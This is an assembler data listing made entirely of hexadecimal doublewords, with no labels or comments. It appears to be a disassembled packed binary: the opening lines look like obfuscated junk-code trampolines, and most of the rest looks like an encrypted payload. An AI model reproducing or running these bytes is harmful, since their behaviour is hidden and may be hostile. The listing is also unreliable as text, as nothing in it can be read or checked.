		dd 681h, 0F525000h, 0E9585A31h,	0Dh, 4A0A94B7h,	0BC231718h
		dd 8B320497h, 48961B1h,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8D8905C0h, 7A800ADh, 0A87E8503h
		dd 6A07ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0BDB55FC3h, 5250502Eh, 0FFE8B66h,	4DBF5231h
		dd 5F2044BFh, 489585Ah,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0B9A04F9Ch, 2CAB2471h
		dd 9D298976h, 7A81871h,	9D89046Ah, 7A82F35h, 11860F90h
		dd 0E8000000h, 5, 6FDDE8E0h, 0F52504Ch,	59585A31h, 8F0F6050h
		dd 2, 93BF5EB6h, 616B8303h, 3DBD8B90h, 0FF07A813h, 0ABA88A95h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 2D64AB9Ch, 4943BF66h, 0D88BFE8Bh, 495BD8Bh
		dd 0B5807A8h, 0E840FDBh, 8B000000h, 0A82665BDh,	27CE907h
		dd 0B70F0000h, 0C6FAh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 19C35141h, 9DBA65E3h,	53C4F3C0h, 2F196FBFh
		dd 8E0F5078h, 6, 3519BD8Bh, 585A07A8h, 12820Fh,	0DE90000h
		dd 0B2000000h, 0CD488595h, 0CAA0AA89h, 719F7AF4h, 89FA8B50h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0C3BF61C3h, 0F28DC2E6h, 81660550h, 6A3631C9h
		dd 21BD891Eh, 9007A827h, 9E9h, 0A6737000h, 2E3996ABh, 60509747h
		dd 0F98B5250h, 0CF8B310Fh, 0E853585Ah, 5, 75268366h, 615B5865h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0AAE2990Fh, 0A9FAE14Bh, 0DB816660h, 6661A319h
		dd 0B38DE781h, 0A88A95FFh, 958907ABh, 7A834DDh,	6AD88Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 6F576C3h, 6BCDA2CBh,	0E890F60h, 0E9000000h, 9, 0B43C1361h
		dd 7C8A89EDh, 0F586124h, 28Ah, 0B71B100h, 0F840FDBh, 66000000h
		dd 0E9A393BAh, 136h, 10DBD281h,	8B504CBBh, 240489FAh, 26858D8Bh
		dd 0D18B07A8h, 0A86AB5FFh, 0C98107ABh, 450FEA28h, 0A86E95FFh
		dd 6A07ABh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0F5D706C3h, 850FC00Bh, 59h, 0EF19D01h, 816607A8h
		dd 619E54DAh, 0BD89F560h, 7A82C2Dh, 7285C761h, 107ABA8h
		dd 56000000h, 2DF1BD89h, 0E95F07A8h, 0BEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7C35040h, 0DC3AA07Ah
		dd 0E32C6653h, 8BD8EA80h, 0A824118Dh, 6A6107h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 552D1AC3h, 0A7F371EEh, 89223B3Fh, 0A81755BDh, 1CC68107h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 5316C355h, 0CC1CDF00h,	0AA9EAF57h
		dd 13E9h, 0D2AC8600h, 3EA09E05h, 17937472h, 0A0900F34h
		dd 0D6D79F70h, 107D958Bh, 35E907A8h, 0E8FFFFF9h, 11h, 73291B37h
		dd 0B02FC089h, 1660179Fh, 0C7A05DC2h, 4E85AD7h,	0
		dd 0E9000080h, 0Fh, 2D1A5F6Ch, 0F371EE55h, 223B3FA7h, 5054C64Eh
		dd 61606057h, 310F5250h, 5A61585Ah, 424448Bh, 8E0F008Bh
		dd 0
		dd 4244489h, 11E9h, 46CF1400h, 0D3F0A2D4h, 8B3AB9CBh, 0A9E54939h
		dd 0E85898E6h, 7, 9414536Ah, 0E970B971h, 14h, 0CD08D6F0h
		dd 0A21102C9h, 45C5C18Bh, 0DF9FD5Fh, 0C0BAB666h, 89006A5Fh
		dd 0A8299195h, 7AB5FF07h, 6A07ABA8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 4682C355h
		dd 0E51EFE1h, 85BD311Ch, 0FF07A835h, 0A834E195h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 858BF8D8h, 7ABA872h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0B9C35242h, 0BD8991B1h, 7A82DE5h, 0C6BA6650h
		dd 240489AEh, 858DF7B6h, 7ABA882h, 62E78166h, 0E6B250B5h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0BCCEC351h, 0CC847790h, 21958B60h
		dd 8007A806h, 0BF61C6F0h, 0B4D6D0h, 0A83F858Dh,	6A07ABh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 27E2C4C3h, 0C38C6107h, 2391B501h, 0B65007A8h, 24048919h
		dd 0BD5600BFh, 59BD8B00h, 0FF07A835h, 0A80E1595h, 0CBB70F07h
		dd 8166C08Bh, 831CA7E7h, 0A827F9BDh, 9750007h, 605BD83h
		dd 740007A8h, 8B535013h, 4D0B8C0h, 9D8D0000h, 7AAAE5Eh
		dd 585BD3FFh, 605BD83h,	740007A8h, 0B8535011h, 4D0h, 0AD5D9D8Dh
		dd 0D3FF07AAh, 8D03585Bh, 7A807FDh, 26C5BD0Bh, 952B07A8h
		dd 7A832DDh, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E90EF1C3h, 7, 970C1F36h, 89BE2A94h
		dd 0A8000DB5h, 0F2815807h, 875B1FCh, 6A0008C2h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0A338C350h, 7EB0E8DDh, 898CD0FAh, 0A80B95B5h, 66C08B07h
		dd 3AF8D281h, 0A8AF858Dh, 858907ABh, 7A82169h, 299D8589h
		dd 39EB07A8h, 0AF0000h,	0AF02CCh, 0AF02E4h, 0
		dd 44D718AEh, 75CE142Ah, 21DF1CDFh, 4CD4182Ch, 4DDE5FC0h
		dd 75F471BAh, 21F63D2Fh, 51F505FBh, 49EE1FBFh, 45DB141Fh
		dd 21D011B6h, 21B9990Ch, 7E9A71ADh, 5D332E15h, 653B754Fh
		dd 21A17591h, 76FD71DAh, 0DD062BAEh, 0D9D176F7h, 540FFA7Ch
		dd 0AABDD99Fh, 21BC9816h, 2D48716Bh, 9DD11A2Dh,	643CC59h
		dd 54BA76C5h, 2407F2BFh, 21BDD95Dh, 72EA68D9h, 9802B15Dh
		dd 0A8BA716Fh, 899FF430h, 227FCDDh, 0DEBDDBDDh,	0A2E22A65h
		dd 89BC74E6h, 36CE71AAh, 98022286h, 0A8BA716Fh,	899FF430h
		dd 3327FCDDh, 0DEBDDBC0h, 4BE22A65h, 2252225Bh,	1BA71ADh
		dd 0A8E1B28Dh, 0A0BE5537h, 35BE55F1h, 62BA71DAh, 4BFDB23Eh
		dd 225220B6h, 1BA715Bh,	0A8E3B2F4h, 0A0BE559Ah,	38BE552Fh
		dd 60BA71B5h, 1CAB28Bh,	0ED867AA3h, 21397E4Eh, 0AABA715Bh
		dd 273A7E6Dh, 0AABA71D6h, 89A434DEh, 233A7EB2h,	0ABBA71DAh
		dd 383FB7A3h, 77BDD9B0h, 0C9E97131h, 21BA71AEh,	7A792AF6h
		dd 259E2DE2h, 259E3534h, 21BA71C1h, 7879222Eh, 90D069F1h
		dd 0AA9AA7C3h, 898E7010h, 21AE99D1h, 92B0716Bh,	0EDC2ADACh
		dd 8EE5D609h, 41CBCCBBh, 0E24CF956h, 0A8B5D854h, 21BA71ABh
		dd 21BAFBD9h, 49E4716Bh, 68AC6FCFh, 0F99E755Bh,	8E9E3F4h
		dd 899CEC2Bh, 0C00F8E5Ch, 4BBDD9A1h, 225221D6h,	1BA716Bh
		dd 0A8E2B2EDh, 0A0BE559Eh, 3DBE5529h, 61BA71B6h, 2CF8B20Bh
		dd 1E5157ECh, 0DD308689h, 59A0F4E6h, 21D0761Eh,	21B99988h
		dd 7B9A716Dh, 75332B75h, 653B757Fh, 21A07589h, 73F871D6h
		dd 0A10A9BA8h, 9899F310h, 21BA6333h, 4799D06Dh,	45BF11CAh
		dd 9E7B748Ch, 4C11024Eh, 0DEEEB263h, 70BA1BBBh,	21BA725Dh
		dd 0E2E351DAh, 5F6F834h, 5FEF0B2h, 21BA655Fh, 0E2EB30ADh
		dd 0D837FAD2h, 4BBDD94Ah, 70BA1BB1h, 21BA7232h,	0E2E3516Dh
		dd 5F6F8EFh, 5FEF05Fh, 21BA6AA9h, 0E2EB30D6h, 0C27B855h
		dd 30345F7Bh, 21BA6133h, 9E90F6Dh, 1C402C9Ah, 35B097A0h
		dd 44A7520h, 0CB3919D6h, 47EB535Ch, 7F79BF0Bh, 0A29E455Bh
		dd 0AA984697h, 89BDAC0Bh, 21BE995Ch, 235671ADh,	9BEA71D6h
		dd 12B00307h, 259E353Eh, 6A38CFBCh, 315271E6h, 0C4BA71B6h
		dd 0E5D849F8h, 0D30AFD4Dh, 400AC83h, 41127BA9h,	21BA765Dh
		dd 6892F7DAh, 0D864E66Bh, 0A8E510E9h, 71BE551Fh, 7B8B7EFFh
		dd 21D0298Eh, 21B99938h, 7A9A71B5h, 7D332A19h, 653B7549h
		dd 21A67592h, 72F9715Bh, 0FB0316Eh, 0B6B50084h,	0EA317F8Ah
		dd 0A4B571DFh, 21BA71DCh, 1203C444h, 0F145761Eh, 3E5DF03Dh
		dd 3E3FF832h, 4BBDDA6Dh, 2252236Bh, 1BA71B5h, 0A8E0B280h
		dd 0A0BE5539h, 3DBE55F2h, 63BA715Bh, 8BC9B2FFh,	0A089B9A4h
		dd 2FD8C5Eh, 899C3420h,	2442FADDh, 21BA73A1h, 9A99F43Fh
		dd 0E13976F0h, 63FF8B5h, 12BDDA6Dh, 2356C8ABh, 8B4971B5h
		dd 0C9EF71B0h, 21BA716Eh, 7C792C96h, 259E1DD2h,	259E352Ch
		dd 21BA71CCh, 4579242Eh, 6855D849h, 21D04259h, 21B9993Fh
		dd 7B9A71B6h, 75332B98h, 653B7589h, 21A775F2h, 73F8716Bh
		dd 54AAA276h, 1B3D7D75h, 0A807C0A4h, 89B2D003h,	383FB75Ch
		dd 62BDD9ABh, 0C9EF71BCh, 21BA7168h, 7C792C95h,	259E1D53h
		dd 259E35ECh, 21BA71ADh, 0B79241Eh, 4C293BAAh, 47182D1Bh
		dd 0A1C3F4D4h, 2552C86Bh, 7FBA71DAh, 71261606h,	9F8B7EE4h
		dd 63CF64FBh, 0AAEA29F7h, 5FEFA28h, 9EECE6Fh, 21315DABh
		dd 21BA7833h, 7CCD0E6Dh, 1D950D75h, 6533616Bh, 2B527589h
		dd 69BA71D6h, 56E5CE66h, 22A9908h, 0D931171Dh, 21D02932h
		dd 21B999E3h, 7C9A715Bh, 4D332C6Eh, 653B75F2h, 21A3754Fh
		dd 74FF71B5h, 1A8C4719h, 0C8BEE4C6h, 21BA71A4h,	715F37D5h
		dd 0AACC1FF3h, 4E928D83h, 0BE60724Ah, 29539624h, 0BA71DAh
		dd 0A01CC832h, 0DE7AB784h, 89B690EEh, 77BA1BAAh, 21BA723Eh
		dd 0E2E4516Bh, 5CEF8EBh, 5FEF0DEh, 21BA6969h, 0E2EC37B6h
		dd 3850B278h, 21B39868h, 739A71D6h, 0C7C7848h, 0AC48A0FCh
		dd 8AC26B5Fh, 70BA1B6Ah, 21BA725Eh, 0E2E3515Bh,	5F6F8F4h
		dd 5FEF0D2h, 21BA686Fh,	0E2EB30B5h, 0AAD8186Ah,	0BC33626Ch
		dd 261250E7h, 21D0A1A4h, 21B999FEh, 7A9A71D6h, 7D332AA8h
		dd 653B7591h, 21A175FEh, 72F9716Dh, 47DC4C75h, 62BF3842h
		dd 0EB31179Ah, 10F3F45Fh, 21D076C3h, 21B999E7h,	7B9A71DAh
		dd 75332BAEh, 653B7592h, 21AC757Fh, 73F871ADh, 62116815h
		dd 2E13CCE2h, 9433761Dh, 2612727Fh, 321BF4E0h, 21D0761Eh
		dd 21B9990Ch, 7E9A71ADh, 5D332E15h, 653B754Fh, 21AC7591h
		dd 76FD71DAh, 0BEB3DBAEh, 183FF84Eh, 4BBDD940h,	225223ADh
		dd 1BA71D6h, 0A8E0B231h, 0A0BE55E1h, 3CBE559Eh,	63BA716Dh
		dd 0D061B2E4h, 0AF6BBC5Bh, 0DC44AE7Fh, 0E775FAB0h, 89BC68EEh
		dd 76D222B2h, 473EE7D8h, 153BA2E6h, 6F0FE92h, 70BA1B23h
		dd 21BA7245h, 0E2E351D6h, 5F6F832h, 5FEF0B1h, 21BA68DEh
		dd 0E2EB306Dh, 0D7086ABCh, 0A4B3D0CEh, 26127BECh, 2D5BC429h
		dd 9CB376C3h, 261279A0h, 59A0F457h, 943376C6h, 261262F3h
		dd 21D0A1A4h, 21B999FEh, 7A9A71D6h, 7D332AA8h, 653B7591h
		dd 21AF75FEh, 72F9716Dh, 0DDA9E375h, 2EEBE4D0h,	0A4337605h
		dd 26127CF7h, 0C9ED7101h, 21BA71B6h, 7E792EFAh,	259E0DE4h
		dd 259E3537h, 21BA714Ch, 0EE7926EAh, 0E7E9CBADh, 89BC68EEh
		dd 98DC22B2h, 31534981h, 3CBA716Dh, 6C6C8E90h, 0AEA51E7Dh
		dd 0E95D56AFh, 0C93C1F38h, 21BA716Fh, 0F9A2B506h, 5203178Ah
		dd 5FEFA7Dh, 21AA98B2h,	3EB715Bh, 78961511h, 403E4B6Eh
		dd 0E5A7B018h, 21313160h, 6533A251h, 0AADC7549h, 21D0297Ch
		dd 21B9990Ah, 789A71ADh, 6D332815h, 653B754Fh, 21A67591h
		dd 70FB71DAh, 18634CAEh, 69D35729h, 2A520DDAh, 0B7BA71ADh
		dd 95F9E588h, 0A56B52F1h, 0AADCA0C3h, 94452E11h, 26127D8Ch
		dd 423E43Dh, 0A43776F3h, 261109B7h, 0C9E871BCh,	21BA7168h
		dd 7B792B95h, 259E2553h, 259E35ECh, 21BA71AEh, 0E8792319h
		dd 81D5D0ACh, 0F1458F5Dh, 0C9EA7101h, 21BA71B6h, 797929FAh
		dd 259E35E4h, 259E3537h, 21BA7141h, 797921EDh, 8C6D464h
		dd 0AC917435h, 26127854h, 393BCC53h, 0A43376C5h, 261255C3h
		dd 244FC4D0h, 0A47C7605h, 261277CFh, 242FFA2Ch,	8BDD9B0h
		dd 89B4C457h, 0BC8C196Ah, 3552CEE7h, 95BA715Bh,	135E518Bh
		dd 0E9E4537Dh, 0CEB99564h, 0F7CA10F6h, 718CED52h, 7103173Fh
		dd 478B7E89h, 7B6FFCE4h, 153B2BF5h, 0AEFAEEF2h,	70BA1B63h
		dd 21BA725Dh, 0E2E351DAh, 5F6F834h, 5FEF0B2h, 21BA645Fh
		dd 0E2EB30ADh, 0DE46284Bh, 89B690DEh, 3C37FAB2h, 0ACBDD9C2h
		dd 8AC26BE8h, 70BA1BB1h, 21BA72B3h, 0E2E351ADh,	5F6F88Fh
		dd 5FEF06Fh, 21BA6BB1h,	0E2EB30DAh, 0DA22CD7Bh,	89B6045h
		dd 89BF74E6h, 0AE4DF0AAh, 0DE81667Fh, 72BA1BBBh, 21BA725Dh
		dd 0E2E151DAh, 5E6F836h, 5FEF0B2h, 21BA655Fh, 0E2E932ADh
		dd 3C3FF81Eh, 4BBDD960h, 225222B5h, 1BA71DAh, 0A8E1B236h
		dd 0A0BE55EAh, 39BE551Fh, 62BA71ADh, 0D62EB285h, 0A88731C2h
		dd 89A13420h, 383FB7DDh, 66BDD96Bh, 0CE5CBF37h,	0EAD2079Ah
		dd 0AA8C6D2Bh, 5BEF019h, 6A05F8C4h, 9445813Eh, 26127D3Bh
		dd 0C9E97107h, 21BA71B5h, 7A792A7Bh, 259E2D24h,	259E3557h
		dd 21BA7170h, 4D7922F6h
		dd 3AF4C072h, 0AA65CF1Bh, 8989B823h, 3B3FFC5Ch,	0DEBDDAD5h
		dd 74BA1B06h, 21BA7283h, 0E2E751B5h, 5D6F887h, 5FEF069h
		dd 21BA64B2h, 0E2EF345Bh, 3252786Ch, 0B0BA71D6h, 96FFDC6Bh
		dd 0D60A46BEh, 764EBC2Fh, 1D3AA06Ah, 0AADC0E25h, 0A4332E91h
		dd 261276F0h, 0C9EC71BCh, 21BA7168h, 7F792F95h,	259E0553h
		dd 259E35ECh, 21BA71ACh, 6D79271Dh, 6F5017C4h, 0A47C61E8h
		dd 26127772h, 73BA1BF2h, 21BA7232h, 0E2E0516Dh,	5EEF8ECh
		dd 5FEF05Fh, 21BA66A9h,	0E2E833D6h, 8AA4AD3Ch, 4968C6BAh
		dd 95DEDFD3h, 153B1CDBh, 88282592h, 8168F045h, 0DE800BBEh
		dd 89B69063h, 1C07586Ch, 0ACBDD9BEh, 8AC26B5Fh,	0CF3B176Ah
		dd 0F145ABE0h, 615BF03Dh, 903FF890h, 4BBDD9D2h,	2252276Bh
		dd 1BA71B5h, 0A8E4B284h, 0A0BE5519h, 3BBE55F2h,	67BA715Bh
		dd 47AAB2FBh, 5F22B845h, 0AA6A8E79h, 0EC3FF84Eh, 98BDD9D6h
		dd 22BF79D0h, 2E62FDD0h, 21BA77D5h, 442FF8ADh, 5BDD9CFh
		dd 21AA996Fh, 0D6B71B5h, 0DA79B3EEh, 0B5392D51h, 0BCAF04E0h
		dd 0B4310EDAh, 26125760h, 2E7A7B89h, 21B9E9EFh,	0B4B1CEB5h
		dd 0A47C0700h, 26127774h, 72BA1BF9h, 21BA72B3h,	0E2E151ADh
		dd 5E6F88Dh, 5FEF06Fh, 21BA6DB1h, 0E2E932DAh, 9F0B8968h
		dd 0E6727756h, 799D1914h, 2F539070h, 0F8BA71D6h, 8B9E1BD6h
		dd 0F8C135C8h, 90538E05h, 58EF030h, 7FE74555h, 0C9E87131h
		dd 21BA71AEh, 7B792BF6h, 259E25E2h, 259E3534h, 21BA71CEh
		dd 0AB79232Fh, 2D5BC449h, 0F03B76F3h, 5B6E2B22h, 59A0F45Bh
		dd 9CB976C0h, 261278F4h, 21D0A125h, 21B9993Dh, 799A71B6h
		dd 65332998h, 653B7589h, 21AD75F2h, 71FA716Bh, 60FE6276h
		dd 57AF265h, 0C9ED7107h, 21BA71B5h, 7E792E7Bh, 259E0D24h
		dd 259E3557h, 21BA7177h, 9C7926F2h, 0F2D96401h,	0EA092DA1h
		dd 21BA785Fh, 0E1C5665Bh, 9F698428h, 0A4337944h, 26127452h
		dd 212BCC9Ch, 0A4317672h, 26127DA0h, 0C9EA71DCh, 21BA7158h
		dd 7979298Dh, 259E355Fh, 259E35EAh, 21BA71AFh, 8B79219Ah
		dd 82170F00h, 0C108AF36h, 0AAB590DBh, 89BEC030h, 253B7ED1h
		dd 47BA716Bh, 627BA60Ah, 0C9E871B0h, 21BA716Eh,	7B792B96h
		dd 259E25D2h, 259E352Ch, 21BA71C1h, 5E792329h, 41D41891h
		dd 4741C6D5h, 58A91ECh,	47A1FAD7h, 2689AE2h, 89936038h
		dd 9EA1FAD1h, 48051FD7h, 21D06A3Eh, 21B9998Ah, 799A716Dh
		dd 65332975h, 653B757Fh, 21A27589h, 71FA71D6h, 0F55A0DA8h
		dd 0A0DC96A1h, 2E7D2C0Ch, 21BA77EEh, 4027F8B6h,	12BDD953h
		dd 71BA1B75h, 21BA723Eh, 0E2E2516Bh, 5FEF8EDh, 5FEF0DEh
		dd 21BA6B69h, 0E2EA31B6h, 0A05C86Dh, 2E3E2686h,	21BA7752h
		dd 640FFA6Bh, 0A8BDD9BEh, 89920047h, 0AD03176Ah, 383FB76Bh
		dd 66BDD95Dh, 0C9E971C7h, 21BA71D5h, 7A792A4Bh,	259E2D3Ch
		dd 259E355Bh, 21BA717Ah, 987922F5h, 0C84C0C27h,	21BA71BEh
		dd 953D473Ch, 0CA5D1125h, 0E7CF109Bh, 7020235Bh, 9F9DC01Eh
		dd 2B4B5FD9h, 3EBDDD33h, 910023DDh, 7F961E4Ch, 0DC9E75EAh
		dd 41FDCE60h, 1763F0BCh, 94451063h, 26127D57h, 0C0BF46Ah
		dd 0A4377605h, 261109CCh, 0C9EB7101h, 21BA71B6h, 787928FAh
		dd 259E3DE4h, 259E3537h, 21BA714Fh, 607920ECh, 21D0A129h
		dd 21B9993Bh, 799A71B5h, 65332919h, 653B7549h, 21A67592h
		dd 71FA715Bh, 0CD0C316Eh, 0BAE879D3h, 0C83AA7C3h, 6C5BF0B5h
		dd 0A8B30CADh, 89B16CE8h, 70BA1BB1h, 21BA72B3h,	0E2E351ADh
		dd 5F6F88Fh, 5FEF06Fh, 21BA65B1h, 0E2EB30DAh, 20367E36h
		dd 0D8BA71B6h, 21BA7DB2h, 0DDE80AADh, 0E608C3C9h, 82D8A032h
		dd 0AADC313Ah, 4BBAFA28h, 2252246Dh, 1BA71B6h, 0A8E7B206h
		dd 0A0BE55C1h, 38BE5592h, 64BA716Bh, 5E83B2E0h,	921A368h
		dd 21BA6184h, 0FDDBC6B6h, 623305BBh, 6B776A36h,	1A58E1F7h
		dd 21AE99CCh, 459971B5h, 0C9D3F73Fh, 6E0EE7F1h,	2213B99Eh
		dd 0AC660DB9h, 0DA0013F1h, 7EA8BE8Dh, 21D071E0h, 21B999E6h
		dd 7A9A71DAh, 7D332AAEh, 653B7592h, 21A1757Fh, 72F971ADh
		dd 23A5FD15h, 8BE09C7Ch, 40075866h, 0A8BDD9F7h,	89A108E8h
		dd 70BA1BB1h, 21BA72B3h, 0E2E351ADh, 5F6F88Fh, 5FEF06Fh
		dd 21BA6AB1h, 0E2EB30DAh, 90089D38h, 8C6277C6h,	21BA77B3h
		dd 0A96C01ADh, 9BAB474Ah, 301EEC18h, 20F798EFh,	9EB571DAh
		dd 21B19895h, 0F94271B6h, 0BBBFE704h, 6025FB47h, 643FFC16h
		dd 4BBDDAD0h, 225220B5h, 1BA71DAh, 0A8E3B234h, 0A0BE55FAh
		dd 39BE551Fh, 60BA71ADh, 18B4B287h, 2E2A0D1Dh, 21BA7430h
		dd 0C03B17DAh, 2EEA5EBDh, 21BA773Ch, 0EA31115Bh, 0A8DB2EFDh
		dd 0B49155D2h, 26127586h, 390FE44Ah, 21D07672h,	21B99938h
		dd 7C9A71B6h, 4D332C98h, 653B7589h, 21A375F2h, 74FF716Bh
		dd 86005676h, 0AC1E85C6h, 8A013AF0h, 71BA1BB1h,	21BA72B3h
		dd 0E2E251ADh, 5FEF88Eh, 5FEF06Fh, 21BA64B1h, 0E2EA31DAh
		dd 0A0DC8AE5h, 8118659h, 89B1DCE6h, 295221AAh, 3DBA71D6h
		dd 0C68320EBh, 90B5F1CFh, 3D332EECh, 21317E49h,	0A1BA71B6h
		dd 722A3AB9h, 21A998CDh, 943371D6h, 8D5AD52Ch, 226AC611h
		dd 0C018A661h, 425D195Eh, 21BD9913h, 3D1F715Bh,	2FD70BDFh
		dd 78DB2A76h, 0B1B5C73Bh, 0DE4CC6BAh, 899B104Fh, 0B431116Ah
		dd 2612428Bh, 21A8980Bh, 386371ADh, 0BC151D5Ch,	68E03348h
		dd 1A7C9E75h, 8244DCC1h, 0A4331033h, 2612748Fh,	0C9EF7131h
		dd 21BA71AEh, 7C792CF6h, 259E1DE2h, 259E3534h, 21BA71CFh
		dd 67792428h, 8C2FF8D2h, 0E7BDD951h, 89BC6828h,	94B922D1h
		dd 26126932h, 0CC0DC6DDh, 21AA9861h, 2044716Dh,	8B71FFBEh
		dd 6FF1C8C1h, 0E2A7D720h, 153BC66Ah, 4B89B94Fh,	0B82FFAA4h
		dd 0DEBDD9DFh, 89B690D8h, 76BA1BB1h, 21BA72B3h,	0E2E551ADh
		dd 5C6F889h, 5FEF06Fh, 21BA65B1h, 0E2ED36DAh, 3B3FFC23h
		dd 4BBDDACEh, 2252265Bh, 1BA71ADh, 0A8E5B289h, 0A0BE5517h
		dd 38BE55F1h, 66BA71DAh, 0F05AB23Ah, 689D7FDh, 136BF4D2h
		dd 0F1457605h, 0A433BE5Dh, 2612658Eh, 0C9EC71DFh, 21BA71D9h
		dd 7F792F4Dh, 259E053Fh, 259E35DAh, 21BA71B1h, 0C1792790h
		dd 85AAED09h, 0F337D3BEh, 21B1F7D5h, 0A2B5716Dh, 21BA71B3h
		dd 5450F03Dh, 383FB7A9h, 66BDD9D0h, 8201170Bh, 0D027F824h
		dd 40BDD9C7h, 21BA7585h, 53AFE1B6h, 71E821FAh, 2EDB11FFh
		dd 7492CFE7h, 79E0672Ah, 5FEFAECh, 0AA8AC3DEh, 5FEF86Dh
		dd 90E821B2h, 7B8B7E77h, 21D029F5h, 21B99986h, 799A716Bh
		dd 65332976h, 653B75FEh, 21A27549h, 71FA71B6h, 93C89598h
		dd 2B53012Ah, 0E0BA71D6h, 58AB6A94h, 2FC8198Dh,	0C00F8EE5h
		dd 0C9BDD961h, 21BA71A6h, 0DB52F681h, 0F266CBB7h, 0AD7099E1h
		dd 0F8F4AE89h, 2EE5AB03h, 0A437B86Dh, 26110977h, 0DE4ACEB9h
		dd 76BA1B8Bh, 21BA7245h, 0E2E551D6h, 5C6F834h, 5FEF0B1h
		dd 21BA6DDEh, 0E2ED366Dh, 1ECC0B03h, 0E99DAC6Bh, 0C43FF803h
		dd 4BBDD9F5h, 2252236Bh, 1BA71B5h, 0A8E0B280h, 0A0BE5539h
		dd 35BE55F2h, 63BA715Bh, 0A8D7B2FFh, 89B2A463h,	9EB5116Ch
		dd 0F851F04Ah, 40FEA583h, 27A3F4ABh, 0C8E9761Eh, 21BA7151h
		dd 84382E89h, 3356C4DAh, 89D22EE4h, 0C849948Fh,	21BA71CBh
		dd 8AAE19A7h, 3C502E0Ah, 600CDEE4h, 0DF0E8694h,	58EF032h
		dd 4B661453h, 21BA775Dh
		dd 32F9B0DAh, 47711D0Bh, 3EBAA837h, 0C00F8E04h,	4BBDD9A1h
		dd 225221D6h, 1BA716Bh,	0A8E2B2EDh, 0A0BE559Eh,	36BE5529h
		dd 61BA71B6h, 0D23BB20Bh, 0E308F99Ah, 59A0F45Bh, 21D076C0h
		dd 21B999E0h, 7C9A71DAh, 4D332CAEh, 653B7592h, 21AF757Fh
		dd 74FF71ADh, 2E2A6615h, 0F14581D4h, 0A844FAD3h, 89A0E85Fh
		dd 0EB53F06Ah, 0E788952Ah, 89BC68DEh, 21D026AAh, 21B99984h
		dd 7B9A716Bh, 75332B76h, 653B75FEh, 21AD7549h, 73F871B6h
		dd 0C473A798h, 0F70D7E84h, 87DF0B0h, 3E131944h,	90DAF5D4h
		dd 407CFAF3h, 8E9E45ECh, 4BAE14FBh, 2252235Bh, 1BA71ADh
		dd 0A8E0B28Ch, 0A0BE553Fh, 35BE55F1h, 63BA71DAh, 2E27B23Fh
		dd 94458701h, 26127DBAh, 0C9EF71C7h, 21BA71D5h,	7C792C4Bh
		dd 259E1D3Ch, 259E355Bh, 21BA7174h, 937924F3h, 482DD0Fh
		dd 3B3FFC75h, 0A0BDDAAEh, 0CDB54989h, 21AE98C1h, 3C8A71DAh
		dd 68429C10h, 5CE31A00h, 12F863AAh, 0CB545DAEh,	0F1455150h
		dd 0A84CA8EBh, 899E1C30h, 70BA1BDDh, 21BA7285h,	0E2E351B6h
		dd 5F6F802h, 5FEF0A9h, 21BA6DD2h, 0E2EB306Bh, 0D3523EC1h
		dd 94900467h, 943320F7h, 26127D77h, 383FB701h, 62BDD9ABh
		dd 55BFC5Dh, 255276C3h,	9BA71B5h, 4106E1AAh, 21BC980Dh
		dd 6A1871B6h, 9B566C02h, 97DE3B17h, 47DA109Dh, 407265D1h
		dd 73EA21D4h, 1CA4C8BCh, 73EA4062h, 9FDC40B9h, 79E03722h
		dd 653129F7h, 0AADC75F2h, 0A8BAFABCh, 79BE55F1h, 9445B950h
		dd 26127D8Ch, 0C9EC71DCh, 21BA7158h, 7F792F8Dh,	259E055Fh
		dd 259E35EAh, 21BA71A0h, 0A879279Ch, 143778C1h,	0C8BDD99Fh
		dd 21BA714Bh, 62013EF0h, 0B9C3C09Bh, 0D1129465h, 0D4EBB5ECh
		dd 59A0F457h, 21D076C6h, 21B999E3h, 7C9A715Bh, 4D332C6Eh
		dd 653B75F2h, 21A6754Fh, 74FF71B5h, 0B595D519h,	3F63790Fh
		dd 0F14504A8h, 348FE4D0h, 0A4337605h, 261242D3h, 14AFF4E2h
		dd 0A437761Dh, 2611CAE1h, 0C9EB7107h, 21BA71B5h, 7879287Bh
		dd 259E3D24h, 259E3557h, 21BA7176h, 0C57920F4h,	89085C63h
		dd 0D14EA96Ah, 0A0B52103h, 21BA715Bh, 0DE9E7524h, 89A2C443h
		dd 0F731116Ch, 29D3FC3Ch, 0AADB7672h, 0ACDEC7B5h, 8A015E33h
		dd 73BA1B5Ch, 21BA7245h, 0E2E051D6h, 5EEF831h, 5FEF0B1h
		dd 21BA65DEh, 0E2E8336Dh, 0EF31E17Eh, 0F503170Bh, 0AADCE124h
		dd 1758F02Fh, 0B2BCC5CEh, 0E685CBD3h, 0A2B5218Ah, 21BA7177h
		dd 21BA655Eh, 5A8BAF5Bh, 11E7A319h, 619B6BFDh, 24B804EEh
		dd 0E7C396FBh, 0B2E42FC7h, 0C9EB7107h, 21BA71B5h, 7879287Bh
